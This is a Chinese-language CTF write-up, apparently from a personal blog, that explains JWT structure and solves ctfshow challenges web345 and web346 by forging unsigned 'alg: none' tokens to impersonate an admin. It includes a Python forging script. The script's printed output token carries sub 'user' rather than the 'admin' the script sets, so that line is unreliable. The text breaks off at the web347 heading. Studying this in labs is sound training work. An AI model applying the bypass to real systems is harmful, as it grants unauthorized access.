目录

  1. 1. jwt
  2. 2. 实战
    1. 2.1. ctfshow web345
    2. 2.2. ctfshow web346
    3. 2.3. ctfshow web347

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

jwt

2023/6/4 Web jwt
  |     |   总文章阅读量:

jwt

JSON Web Token,是一种用于Web应用程序的安全令牌,即身份认证,由服务器端在验证客户端身份之后生成并返回给客户端,客户端在登陆之后每次访问服务器都要携带该参数

和传统的cookie,session不同,jwt是无状态的token,服务端不会保存任何信息,适合一次性的命令认证

通常由三个部分组成:header + payload + signature,每部分由‘.’连接

header:包括令牌的类型和加密算法,

payload:包含有关用户或实体的信息,例如身份验证数据,

signature:用于验证令牌是否被篡改。

在线解析网站jwt.io

实战

ctfshow web345

None无签名认证

打开题目,f12发现hint:<!--/admin-->,访问/admin

抓包发现重定向到/admin/了,

这里有必要提一句/admin表示的是admin.php文件,而/admin/表示的是admin目录下的文件,默认是index.php

image-20230604231713983

发现一串cookie值,取auth的值,用jwt.io进行解码

image-20230604231928369

发现alg是None算法,无加密

于是这里直接修改sub的值为admin(因为一开始是user,很明显要修改为admin)

然后选一下上面的加密算法(好像都可以)

image-20230604232140896

复制这串Encoded的签名到cookie中,发包得到flag

image-20230604234306500


ctfshow web346

None算法绕过签名

和上题一样获取cookie进行解码

image-20230605110806698

发现是HS256加密作签名

而JWT 支持将算法设定为 “None”。如果“alg” 字段设为“ None”,那么签名会被置空,这样任何 token 都是有效的。

所以我们只需要把Header中的加密算法改为none,sub改为admin即可

这里使用python脚本进行加密

import jwt

# payload
token_dict = {
    "iss": "admin",
    "iat": 1685934422,
    "exp": 1685941622,
    "nbf": 1685934422,
    "sub": "admin",
    "jti": "939c89347dc9f094d5bd33799cf3a4d4"
}

headers = {"alg": "none", "typ": "JWT"}
jwt_token = jwt.encode(
    token_dict,  # payload, 有效载体
    "",  # 进行加密签名的密钥
    algorithm="none",  # 指明签名算法方式, 默认也是HS256
    headers=headers
    # json web token 数据结构包含两部分, payload(有效载体), headers(标头)
)

print(jwt_token)

# 输出eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY4NTkzNDQyMiwiZXhwIjoxNjg1OTQxNjIyLCJuYmYiOjE2ODU5MzQ0MjIsInN1YiI6InVzZXIiLCJqdGkiOiI5MzljODkzNDdkYzlmMDk0ZDViZDMzNzk5Y2YzYTRkNCJ9.

/admin/下传入cookie获取flag

image-20230605112022265


ctfshow web347